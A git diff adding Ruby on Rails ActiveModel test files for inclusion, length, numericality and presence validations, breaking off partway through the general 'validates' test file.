@@ -0,0 +1,124 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/person'
+
+class InclusionValidationTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_validates_inclusion_of_range
+ Topic.validates_inclusion_of( :title, :in => 'aaa'..'bbb' )
+ assert Topic.new("title" => "bbc", "content" => "abc").invalid?
+ assert Topic.new("title" => "aa", "content" => "abc").invalid?
+ assert Topic.new("title" => "aaa", "content" => "abc").valid?
+ assert Topic.new("title" => "abc", "content" => "abc").valid?
+ assert Topic.new("title" => "bbb", "content" => "abc").valid?
+ end
+
+ def test_validates_inclusion_of
+ Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ) )
+
+ assert Topic.new("title" => "a!", "content" => "abc").invalid?
+ assert Topic.new("title" => "a b", "content" => "abc").invalid?
+ assert Topic.new("title" => nil, "content" => "def").invalid?
+
+ t = Topic.new("title" => "a", "content" => "I know you are but what am I?")
+ assert t.valid?
+ t.title = "uhoh"
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is not included in the list"], t.errors[:title]
+
+ assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => nil ) }
+ assert_raise(ArgumentError) { Topic.validates_inclusion_of( :title, :in => 0) }
+
+ assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => "hi!" ) }
+ assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => {} ) }
+ assert_nothing_raised(ArgumentError) { Topic.validates_inclusion_of( :title, :in => [] ) }
+ end
+
+ def test_validates_inclusion_of_with_allow_nil
+ Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :allow_nil => true )
+
+ assert Topic.new("title" => "a!", "content" => "abc").invalid?
+ assert Topic.new("title" => "", "content" => "abc").invalid?
+ assert Topic.new("title" => nil, "content" => "abc").valid?
+ end
+
+ def test_validates_inclusion_of_with_formatted_message
+ Topic.validates_inclusion_of( :title, :in => %w( a b c d e f g ), :message => "option %{value} is not in the list" )
+
+ assert Topic.new("title" => "a", "content" => "abc").valid?
+
+ t = Topic.new("title" => "uhoh", "content" => "abc")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["option uhoh is not in the list"], t.errors[:title]
+ end
+
+ def test_validates_inclusion_of_with_within_option
+ Topic.validates_inclusion_of( :title, :within => %w( a b c d e f g ) )
+
+ assert Topic.new("title" => "a", "content" => "abc").valid?
+
+ t = Topic.new("title" => "uhoh", "content" => "abc")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ end
+
+ def test_validates_inclusion_of_for_ruby_class
+ Person.validates_inclusion_of :karma, :in => %w( abe monkey )
+
+ p = Person.new
+ p.karma = "Lifo"
+ assert p.invalid?
+
+ assert_equal ["is not included in the list"], p.errors[:karma]
+
+ p.karma = "monkey"
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+
+ def test_validates_inclusion_of_with_lambda
+ Topic.validates_inclusion_of :title, :in => lambda{ |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+
+ t = Topic.new
+ t.title = "wasabi"
+ t.author_name = "sikachu"
+ assert t.invalid?
+
+ t.title = "elephant"
+ assert t.valid?
+ end
+
+ def test_validates_inclusion_of_with_symbol
+ Person.validates_inclusion_of :karma, :in => :available_karmas
+
+ p = Person.new
+ p.karma = "Lifo"
+
+ def p.available_karmas
+ %w()
+ end
+
+ assert p.invalid?
+ assert_equal ["is not included in the list"], p.errors[:karma]
+
+ p = Person.new
+ p.karma = "Lifo"
+
+ def p.available_karmas
+ %w(Lifo)
+ end
+
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
new file mode 100644
index 0000000..8b2f886
--- /dev/null
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -0,0 +1,424 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/person'
+
+class LengthValidationTest < ActiveModel::TestCase
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ def test_validates_length_of_with_allow_nil
+ Topic.validates_length_of( :title, is: 5, allow_nil: true )
+
+ assert Topic.new("title" => "ab").invalid?
+ assert Topic.new("title" => "").invalid?
+ assert Topic.new("title" => nil).valid?
+ assert Topic.new("title" => "abcde").valid?
+ end
+
+ def test_validates_length_of_with_allow_blank
+ Topic.validates_length_of( :title, is: 5, allow_blank: true )
+
+ assert Topic.new("title" => "ab").invalid?
+ assert Topic.new("title" => "").valid?
+ assert Topic.new("title" => nil).valid?
+ assert Topic.new("title" => "abcde").valid?
+ end
+
+ def test_validates_length_of_using_minimum
+ Topic.validates_length_of :title, minimum: 5
+
+ t = Topic.new("title" => "valid", "content" => "whatever")
+ assert t.valid?
+
+ t.title = "not"
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is too short (minimum is 5 characters)"], t.errors[:title]
+
+ t.title = ""
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is too short (minimum is 5 characters)"], t.errors[:title]
+
+ t.title = nil
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
+ end
+
+ def test_validates_length_of_using_maximum_should_allow_nil
+ Topic.validates_length_of :title, maximum: 10
+ t = Topic.new
+ assert t.valid?
+ end
+
+ def test_optionally_validates_length_of_using_minimum
+ Topic.validates_length_of :title, minimum: 5, allow_nil: true
+
+ t = Topic.new("title" => "valid", "content" => "whatever")
+ assert t.valid?
+
+ t.title = nil
+ assert t.valid?
+ end
+
+ def test_validates_length_of_using_maximum
+ Topic.validates_length_of :title, maximum: 5
+
+ t = Topic.new("title" => "valid", "content" => "whatever")
+ assert t.valid?
+
+ t.title = "notvalid"
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is too long (maximum is 5 characters)"], t.errors[:title]
+
+ t.title = ""
+ assert t.valid?
+ end
+
+ def test_optionally_validates_length_of_using_maximum
+ Topic.validates_length_of :title, maximum: 5, allow_nil: true
+
+ t = Topic.new("title" => "valid", "content" => "whatever")
+ assert t.valid?
+
+ t.title = nil
+ assert t.valid?
+ end
+
+ def test_validates_length_of_using_within
+ Topic.validates_length_of(:title, :content, within: 3..5)
+
+ t = Topic.new("title" => "a!", "content" => "I'm ooooooooh so very long")
+ assert t.invalid?
+ assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
+ assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
+
+ t.title = nil
+ t.content = nil
+ assert t.invalid?
+ assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
+ assert_equal ["is too short (minimum is 3 characters)"], t.errors[:content]
+
+ t.title = "abe"
+ t.content = "mad"
+ assert t.valid?
+ end
+
+ def test_validates_length_of_using_within_with_exclusive_range
+ Topic.validates_length_of(:title, within: 4...10)
+
+ t = Topic.new("title" => "9 chars!!")
+ assert t.valid?
+
+ t.title = "Now I'm 10"
+ assert t.invalid?
+ assert_equal ["is too long (maximum is 9 characters)"], t.errors[:title]
+
+ t.title = "Four"
+ assert t.valid?
+ end
+
+ def test_optionally_validates_length_of_using_within
+ Topic.validates_length_of :title, :content, within: 3..5, allow_nil: true
+
+ t = Topic.new('title' => 'abc', 'content' => 'abcd')
+ assert t.valid?
+
+ t.title = nil
+ assert t.valid?
+ end
+
+ def test_validates_length_of_using_is
+ Topic.validates_length_of :title, is: 5
+
+ t = Topic.new("title" => "valid", "content" => "whatever")
+ assert t.valid?
+
+ t.title = "notvalid"
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is the wrong length (should be 5 characters)"], t.errors[:title]
+
+ t.title = ""
+ assert t.invalid?
+
+ t.title = nil
+ assert t.invalid?
+ end
+
+ def test_optionally_validates_length_of_using_is
+ Topic.validates_length_of :title, is: 5, allow_nil: true
+
+ t = Topic.new("title" => "valid", "content" => "whatever")
+ assert t.valid?
+
+ t.title = nil
+ assert t.valid?
+ end
+
+ def test_validates_length_of_using_bignum
+ bigmin = 2 ** 30
+ bigmax = 2 ** 32
+ bigrange = bigmin...bigmax
+ assert_nothing_raised do
+ Topic.validates_length_of :title, is: bigmin + 5
+ Topic.validates_length_of :title, within: bigrange
+ Topic.validates_length_of :title, in: bigrange
+ Topic.validates_length_of :title, minimum: bigmin
+ Topic.validates_length_of :title, maximum: bigmax
+ end
+ end
+
+ def test_validates_length_of_nasty_params
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: -6) }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: 6) }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, minimum: "a") }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, maximum: "a") }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: "a") }
+ assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: "a") }
+ end
+
+ def test_validates_length_of_custom_errors_for_minimum_with_message
+ Topic.validates_length_of( :title, minimum: 5, message: "boo %{count}" )
+ t = Topic.new("title" => "uhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["boo 5"], t.errors[:title]
+ end
+
+ def test_validates_length_of_custom_errors_for_minimum_with_too_short
+ Topic.validates_length_of( :title, minimum: 5, too_short: "hoo %{count}" )
+ t = Topic.new("title" => "uhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors[:title]
+ end
+
+ def test_validates_length_of_custom_errors_for_maximum_with_message
+ Topic.validates_length_of( :title, maximum: 5, message: "boo %{count}" )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["boo 5"], t.errors[:title]
+ end
+
+ def test_validates_length_of_custom_errors_for_in
+ Topic.validates_length_of(:title, in: 10..20, message: "hoo %{count}")
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 10"], t.errors["title"]
+
+ t = Topic.new("title" => "uhohuhohuhohuhohuhohuhohuhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 20"], t.errors["title"]
+ end
+
+ def test_validates_length_of_custom_errors_for_maximum_with_too_long
+ Topic.validates_length_of( :title, maximum: 5, too_long: "hoo %{count}" )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ def test_validates_length_of_custom_errors_for_both_too_short_and_too_long
+ Topic.validates_length_of :title, minimum: 3, maximum: 5, too_short: 'too short', too_long: 'too long'
+
+ t = Topic.new(title: 'a')
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ['too short'], t.errors['title']
+
+ t = Topic.new(title: 'aaaaaa')
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ['too long'], t.errors['title']
+ end
+
+ def test_validates_length_of_custom_errors_for_is_with_message
+ Topic.validates_length_of( :title, is: 5, message: "boo %{count}" )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["boo 5"], t.errors["title"]
+ end
+
+ def test_validates_length_of_custom_errors_for_is_with_wrong_length
+ Topic.validates_length_of( :title, is: 5, wrong_length: "hoo %{count}" )
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["hoo 5"], t.errors["title"]
+ end
+
+ def test_validates_length_of_using_minimum_utf8
+ Topic.validates_length_of :title, minimum: 5
+
+ t = Topic.new("title" => "一二三四五", "content" => "whatever")
+ assert t.valid?
+
+ t.title = "一二三四"
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
+ end
+
+ def test_validates_length_of_using_maximum_utf8
+ Topic.validates_length_of :title, maximum: 5
+
+ t = Topic.new("title" => "一二三四五", "content" => "whatever")
+ assert t.valid?
+
+ t.title = "一二34五六"
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is too long (maximum is 5 characters)"], t.errors["title"]
+ end
+
+ def test_validates_length_of_using_within_utf8
+ Topic.validates_length_of(:title, :content, within: 3..5)
+
+ t = Topic.new("title" => "一二", "content" => "12三四五六七")
+ assert t.invalid?
+ assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
+ assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
+ t.title = "一二三"
+ t.content = "12三"
+ assert t.valid?
+ end
+
+ def test_optionally_validates_length_of_using_within_utf8
+ Topic.validates_length_of :title, within: 3..5, allow_nil: true
+
+ t = Topic.new(title: "一二三四五")
+ assert t.valid?, t.errors.inspect
+
+ t = Topic.new(title: "一二三")
+ assert t.valid?, t.errors.inspect
+
+ t.title = nil
+ assert t.valid?, t.errors.inspect
+ end
+
+ def test_validates_length_of_using_is_utf8
+ Topic.validates_length_of :title, is: 5
+
+ t = Topic.new("title" => "一二345", "content" => "whatever")
+ assert t.valid?
+
+ t.title = "一二345六"
+ assert t.invalid?
+ assert t.errors[:title].any?
+ assert_equal ["is the wrong length (should be 5 characters)"], t.errors["title"]
+ end
+
+ def test_validates_length_of_with_block
+ Topic.validates_length_of :content, minimum: 5, too_short: "Your essay must be at least %{count} words.",
+ tokenizer: lambda {|str| str.scan(/\w+/) }
+ t = Topic.new(content: "this content should be long enough")
+ assert t.valid?
+
+ t.content = "not long enough"
+ assert t.invalid?
+ assert t.errors[:content].any?
+ assert_equal ["Your essay must be at least 5 words."], t.errors[:content]
+ end
+
+ def test_validates_length_of_for_fixnum
+ Topic.validates_length_of(:approved, is: 4)
+
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1)
+ assert t.invalid?
+ assert t.errors[:approved].any?
+
+ t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1234)
+ assert t.valid?
+ end
+
+ def test_validates_length_of_for_ruby_class
+ Person.validates_length_of :karma, minimum: 5
+
+ p = Person.new
+ p.karma = "Pix"
+ assert p.invalid?
+
+ assert_equal ["is too short (minimum is 5 characters)"], p.errors[:karma]
+
+ p.karma = "The Smiths"
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+
+ def test_validates_length_of_for_infinite_maxima
+ Topic.validates_length_of(:title, within: 5..Float::INFINITY)
+
+ t = Topic.new("title" => "1234")
+ assert t.invalid?
+ assert t.errors[:title].any?
+
+ t.title = "12345"
+ assert t.valid?
+
+ Topic.validates_length_of(:author_name, maximum: Float::INFINITY)
+
+ assert t.valid?
+
+ t.author_name = "A very long author name that should still be valid." * 100
+ assert t.valid?
+ end
+
+ def test_validates_length_of_using_maximum_should_not_allow_nil_when_nil_not_allowed
+ Topic.validates_length_of :title, maximum: 10, allow_nil: false
+ t = Topic.new
+ assert t.invalid?
+ end
+
+ def test_validates_length_of_using_maximum_should_not_allow_nil_and_empty_string_when_blank_not_allowed
+ Topic.validates_length_of :title, maximum: 10, allow_blank: false
+ t = Topic.new
+ assert t.invalid?
+
+ t.title = ""
+ assert t.invalid?
+ end
+
+ def test_validates_length_of_using_both_minimum_and_maximum_should_not_allow_nil
+ Topic.validates_length_of :title, minimum: 5, maximum: 10
+ t = Topic.new
+ assert t.invalid?
+ end
+
+ def test_validates_length_of_using_minimum_0_should_not_allow_nil
+ Topic.validates_length_of :title, minimum: 0
+ t = Topic.new
+ assert t.invalid?
+
+ t.title = ""
+ assert t.valid?
+ end
+
+ def test_validates_length_of_using_is_0_should_not_allow_nil
+ Topic.validates_length_of :title, is: 0
+ t = Topic.new
+ assert t.invalid?
+
+ t.title = ""
+ assert t.valid?
+ end
+
+ def test_validates_with_diff_in_option
+ Topic.validates_length_of(:title, is: 5)
+ Topic.validates_length_of(:title, is: 5, if: Proc.new { false } )
+
+ assert Topic.new("title" => "david").valid?
+ assert Topic.new("title" => "david2").invalid?
+ end
+end
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
new file mode 100644
index 0000000..6742a4b
--- /dev/null
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -0,0 +1,194 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/person'
+
+require 'bigdecimal'
+
+class NumericalityValidationTest < ActiveModel::TestCase
+
+ def teardown
+ Topic.reset_callbacks(:validate)
+ end
+
+ NIL = [nil]
+ BLANK = ["", " ", " \t \r \n"]
+ BIGDECIMAL_STRINGS = %w(12345678901234567890.1234567890) # 30 significant digits
+ FLOAT_STRINGS = %w(0.0 +0.0 -0.0 10.0 10.5 -10.5 -0.0001 -090.1 90.1e1 -90.1e5 -90.1e-5 90e-5)
+ INTEGER_STRINGS = %w(0 +0 -0 10 +10 -10 0090 -090)
+ FLOATS = [0.0, 10.0, 10.5, -10.5, -0.0001] + FLOAT_STRINGS
+ INTEGERS = [0, 10, -10] + INTEGER_STRINGS
+ BIGDECIMAL = BIGDECIMAL_STRINGS.collect! { |bd| BigDecimal.new(bd) }
+ JUNK = ["not a number", "42 not a number", "0xdeadbeef", "0xinvalidhex", "0Xdeadbeef", "00-1", "--3", "+-3", "+3-1", "-+019.0", "12.12.13.12", "123\nnot a number"]
+ INFINITY = [1.0/0.0]
+
+ def test_default_validates_numericality_of
+ Topic.validates_numericality_of :approved
+ invalid!(NIL + BLANK + JUNK)
+ valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+ end
+
+ def test_validates_numericality_of_with_nil_allowed
+ Topic.validates_numericality_of :approved, :allow_nil => true
+
+ invalid!(JUNK + BLANK)
+ valid!(NIL + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+ end
+
+ def test_validates_numericality_of_with_integer_only
+ Topic.validates_numericality_of :approved, :only_integer => true
+
+ invalid!(NIL + BLANK + JUNK + FLOATS + BIGDECIMAL + INFINITY)
+ valid!(INTEGERS)
+ end
+
+ def test_validates_numericality_of_with_integer_only_and_nil_allowed
+ Topic.validates_numericality_of :approved, :only_integer => true, :allow_nil => true
+
+ invalid!(JUNK + BLANK + FLOATS + BIGDECIMAL + INFINITY)
+ valid!(NIL + INTEGERS)
+ end
+
+ def test_validates_numericality_with_greater_than
+ Topic.validates_numericality_of :approved, :greater_than => 10
+
+ invalid!([-10, 10], 'must be greater than 10')
+ valid!([11])
+ end
+
+ def test_validates_numericality_with_greater_than_or_equal
+ Topic.validates_numericality_of :approved, :greater_than_or_equal_to => 10
+
+ invalid!([-9, 9], 'must be greater than or equal to 10')
+ valid!([10])
+ end
+
+ def test_validates_numericality_with_equal_to
+ Topic.validates_numericality_of :approved, :equal_to => 10
+
+ invalid!([-10, 11] + INFINITY, 'must be equal to 10')
+ valid!([10])
+ end
+
+ def test_validates_numericality_with_less_than
+ Topic.validates_numericality_of :approved, :less_than => 10
+
+ invalid!([10], 'must be less than 10')
+ valid!([-9, 9])
+ end
+
+ def test_validates_numericality_with_less_than_or_equal_to
+ Topic.validates_numericality_of :approved, :less_than_or_equal_to => 10
+
+ invalid!([11], 'must be less than or equal to 10')
+ valid!([-10, 10])
+ end
+
+ def test_validates_numericality_with_odd
+ Topic.validates_numericality_of :approved, :odd => true
+
+ invalid!([-2, 2], 'must be odd')
+ valid!([-1, 1])
+ end
+
+ def test_validates_numericality_with_even
+ Topic.validates_numericality_of :approved, :even => true
+
+ invalid!([-1, 1], 'must be even')
+ valid!([-2, 2])
+ end
+
+ def test_validates_numericality_with_greater_than_less_than_and_even
+ Topic.validates_numericality_of :approved, :greater_than => 1, :less_than => 4, :even => true
+
+ invalid!([1, 3, 4])
+ valid!([2])
+ end
+
+ def test_validates_numericality_with_other_than
+ Topic.validates_numericality_of :approved, :other_than => 0
+
+ invalid!([0, 0.0])
+ valid!([-1, 42])
+ end
+
+ def test_validates_numericality_with_proc
+ Topic.send(:define_method, :min_approved, lambda { 5 })
+ Topic.validates_numericality_of :approved, :greater_than_or_equal_to => Proc.new {|topic| topic.min_approved }
+
+ invalid!([3, 4])
+ valid!([5, 6])
+ Topic.send(:remove_method, :min_approved)
+ end
+
+ def test_validates_numericality_with_symbol
+ Topic.send(:define_method, :max_approved, lambda { 5 })
+ Topic.validates_numericality_of :approved, :less_than_or_equal_to => :max_approved
+
+ invalid!([6])
+ valid!([4, 5])
+ Topic.send(:remove_method, :max_approved)
+ end
+
+ def test_validates_numericality_with_numeric_message
+ Topic.validates_numericality_of :approved, :less_than => 4, :message => "smaller than %{count}"
+ topic = Topic.new("title" => "numeric test", "approved" => 10)
+
+ assert !topic.valid?
+ assert_equal ["smaller than 4"], topic.errors[:approved]
+
+ Topic.validates_numericality_of :approved, :greater_than => 4, :message => "greater than %{count}"
+ topic = Topic.new("title" => "numeric test", "approved" => 1)
+
+ assert !topic.valid?
+ assert_equal ["greater than 4"], topic.errors[:approved]
+ end
+
+ def test_validates_numericality_of_for_ruby_class
+ Person.validates_numericality_of :karma, :allow_nil => false
+
+ p = Person.new
+ p.karma = "Pix"
+ assert p.invalid?
+
+ assert_equal ["is not a number"], p.errors[:karma]
+
+ p.karma = "1234"
+ assert p.valid?
+ ensure
+ Person.reset_callbacks(:validate)
+ end
+
+ def test_validates_numericality_with_invalid_args
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :greater_than_or_equal_to => "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :less_than_or_equal_to => "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :greater_than => "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :less_than => "foo" }
+ assert_raise(ArgumentError){ Topic.validates_numericality_of :approved, :equal_to => "foo" }
+ end
+
+ private
+
+ def invalid!(values, error = nil)
+ with_each_topic_approved_value(values) do |topic, value|
+ assert topic.invalid?, "#{value.inspect} not rejected as a number"
+ assert topic.errors[:approved].any?, "FAILED for #{value.inspect}"
+ assert_equal error, topic.errors[:approved].first if error
+ end
+ end
+
+ def valid!(values)
+ with_each_topic_approved_value(values) do |topic, value|
+ assert topic.valid?, "#{value.inspect} not accepted as a number"
+ end
+ end
+
+ def with_each_topic_approved_value(values)
+ topic = Topic.new(:title => "numeric test", :content => "whatever")
+ values.each do |value|
+ topic.approved = value
+ yield topic, value
+ end
+ end
+end
diff --git a/activemodel/test/cases/validations/presence_validation_test.rb b/activemodel/test/cases/validations/presence_validation_test.rb
new file mode 100644
index 0000000..2f228cf
--- /dev/null
+++ b/activemodel/test/cases/validations/presence_validation_test.rb
@@ -0,0 +1,107 @@
+# encoding: utf-8
+require 'cases/helper'
+
+require 'models/topic'
+require 'models/person'
+require 'models/custom_reader'
+
+class PresenceValidationTest < ActiveModel::TestCase
+
+ teardown do
+ Topic.reset_callbacks(:validate)
+ Person.reset_callbacks(:validate)
+ CustomReader.reset_callbacks(:validate)
+ end
+
+ def test_validate_presences
+ Topic.validates_presence_of(:title, :content)
+
+ t = Topic.new
+ assert t.invalid?
+ assert_equal ["can't be blank"], t.errors[:title]
+ assert_equal ["can't be blank"], t.errors[:content]
+
+ t.title = "something"
+ t.content = " "
+
+ assert t.invalid?
+ assert_equal ["can't be blank"], t.errors[:content]
+
+ t.content = "like stuff"
+
+ assert t.valid?
+ end
+
+ def test_accepts_array_arguments
+ Topic.validates_presence_of %w(title content)
+ t = Topic.new
+ assert t.invalid?
+ assert_equal ["can't be blank"], t.errors[:title]
+ assert_equal ["can't be blank"], t.errors[:content]
+ end
+
+ def test_validates_acceptance_of_with_custom_error_using_quotes
+ Person.validates_presence_of :karma, message: "This string contains 'single' and \"double\" quotes"
+ p = Person.new
+ assert p.invalid?
+ assert_equal "This string contains 'single' and \"double\" quotes", p.errors[:karma].last
+ end
+
+ def test_validates_presence_of_for_ruby_class
+ Person.validates_presence_of :karma
+
+ p = Person.new
+ assert p.invalid?
+
+ assert_equal ["can't be blank"], p.errors[:karma]
+
+ p.karma = "Cold"
+ assert p.valid?
+ end
+
+ def test_validates_presence_of_for_ruby_class_with_custom_reader
+ CustomReader.validates_presence_of :karma
+
+ p = CustomReader.new
+ assert p.invalid?
+
+ assert_equal ["can't be blank"], p.errors[:karma]
+
+ p[:karma] = "Cold"
+ assert p.valid?
+ end
+
+ def test_validates_presence_of_with_allow_nil_option
+ Topic.validates_presence_of(:title, allow_nil: true)
+
+ t = Topic.new(title: "something")
+ assert t.valid?, t.errors.full_messages
+
+ t.title = ""
+ assert t.invalid?
+ assert_equal ["can't be blank"], t.errors[:title]
+
+ t.title = " "
+ assert t.invalid?, t.errors.full_messages
+ assert_equal ["can't be blank"], t.errors[:title]
+
+ t.title = nil
+ assert t.valid?, t.errors.full_messages
+ end
+
+ def test_validates_presence_of_with_allow_blank_option
+ Topic.validates_presence_of(:title, allow_blank: true)
+
+ t = Topic.new(title: "something")
+ assert t.valid?, t.errors.full_messages
+
+ t.title = ""
+ assert t.valid?, t.errors.full_messages
+
+ t.title = " "
+ assert t.valid?, t.errors.full_messages
+
+ t.title = nil
+ assert t.valid?, t.errors.full_messages
+ end
+end
diff --git a/activemodel/test/cases/validations/validates_test.rb b/activemodel/test/cases/validations/validates_test.rb
new file mode 100644
index 0000000..144532d
--- /dev/null
+++ b/activemodel/test/cases/validations/validates_test.rb
@@ -0,0 +1,159 @@
+# encoding: utf-8
+require 'cases/helper'
+require 'models/person'
+require 'models/topic'
+require 'models/person_with_validator'
+require 'validators/email_validator'
+require 'validators/namespace/email_validator'
+
+class ValidatesTest < ActiveModel::TestCase
+ setup :reset_callbacks
+ teardown :reset_callbacks
+
+ def reset_callbacks
+ Person.reset_callbacks(:validate)
+ Topic.reset_callbacks(:validate)
+ PersonWithValidator.reset_callbacks(:validate)
+ end
+
+ def test_validates_with_messages_empty
+ Person.validates :title, :presence => {:message => "" }
+ person = Person.new
+ assert !person.valid?, 'person should not be valid.'
+ end
+
+ def test_validates_with_built_in_validation
+ Person.validates :title, :numericality => true
+ person = Person.new
+ person.valid?
+ assert_equal ['is not a number'], person.errors[:title]
+ end
+
+ def test_validates_with_attribute_specified_as_string
+ Person.validates "title", :numericality => true
+ person = Person.new
+ person.valid?
+ assert_equal ['is not a number'], person.errors[:title]
+
+ person = Person.new
+ person.title = 123
+ assert person.valid?
+ end
+
+ def test_validates_with_built_in_validation_and_options
+ Person.validates :salary, :numericality => { :message => 'my custom message' }
+ person = Person.new
+ person.valid?
+ assert_equal ['my custom message'], person.errors[:salary]
+ end
+
+ def test_validates_with_validator_class
+ Person.validates :karma, :email => true
+ person = Person.new
+ person.valid?
+ assert_equal ['is not an email'], person.errors[:karma]
+ end
+
+ def test_validates_with_namespaced_validator_class
+ Person.validates :karma, :'namespace/email' => true
+ person = Person.new
+ person.valid?
+ assert_equal ['is not an email'], person.errors[:karma]
+ end
+
+ def test_validates_with_if_as_local_conditions
+ Person.validates :karma, :presence => true, :email => { :unless => :condition_is_true }
+ person = Person.new
+ person.valid?
+ assert_equal ["can't be blank"], person.errors[:karma]
+ end
+
+ def test_validates_with_if_as_shared_conditions
+ Person.validates :karma, :presence => true, :email => true, :if => :condition_is_true
+ person = Person.new
+ person.valid?
+ assert_equal ["can't be blank", "is not an email"], person.errors[:karma].sort
+ end
+
+ def test_validates_with_unless_shared_conditions
+ Person.validates :karma, :presence => true, :email => true, :unless => :condition_is_true
+ person = Person.new
+ assert person.valid?
+ end
+
+ def test_validates_with_allow_nil_shared_conditions
+ Person.validates :karma, :length => { :minimum => 20 }, :email => true, :allow_nil => true
+ person = Person.new
+ assert person.valid?
+ end
+
+ def test_validates_with_regexp
+ Person.validates :karma, :format => /positive|negative/
+ person = Person.new
+ assert person.invalid?
+ assert_equal ['is invalid'], person.errors[:karma]
+ person.karma = "positive"
+ assert person.valid?
+ end
+
+ def test_validates_with_array
+ Person.validates :gender, :inclusion => %w(m f)
+ person = Person.new
+ assert person.invalid?
+ assert_equal ['is not included in the list'], person.errors[:gender]
+ person.gender = "m"
+ assert person.valid?
+ end
+
+ def test_validates_with_range
+ Person.validates :karma, :length => 6..20
+ person = Person.new
+ assert person.invalid?
+ assert_equal ['is too short (minimum is 6 characters)'], person.errors[:karma]
+ person.karma = 'something'
+ assert person.valid?
+ end
+
+ def test_validates_with_validator_class_and_options
+ Person.validates :karma, :email => { :message => 'my custom message' }
+ person = Person.new
+ person.valid?
+ assert_equal ['my custom message'], person.errors[:karma]
+ end
+
+ def test_validates_with_unknown_validator
+ assert_raise(ArgumentError) { Person.validates :karma, :unknown => true }
+ end
+
+ def test_validates_with_included_validator
+ PersonWithValidator.validates :title, :presence => true
+ person = PersonWithValidator.new
+ person.valid?
+ assert_equal ['Local validator'], person.errors[:title]
+ end
+
+ def test_validates_with_included_validator_and_options
+ PersonWithValidator.validates :title, :presence => { :custom => ' please' }
+ person = PersonWithValidator.new
+ person.valid?
+ assert_equal ['Local validator please'], person.errors[:title]
+ end
+
+ def test_validates_with_included_validator_and_wildcard_shortcut
+ # Shortcut for PersonWithValidator.validates :title, like: { with: "Mr." }
+ PersonWithValidator.validates :title, :like => "Mr."
+ person = PersonWithValidator.new
+ person.title = "Ms. Pacman"
+ person.valid?
+ assert_equal ['does not appear to be like Mr.'], person.errors[:title]
+ end
+
+ def test_defining_extra_default_keys_for_validates
+ Topic.validates :title, :confirmation => true, :message => 'Y U NO CONFIRM'
+ topic = Topic.new
+ topic.title = "What's happening"
+ topic.title_confirmation = "Not this"
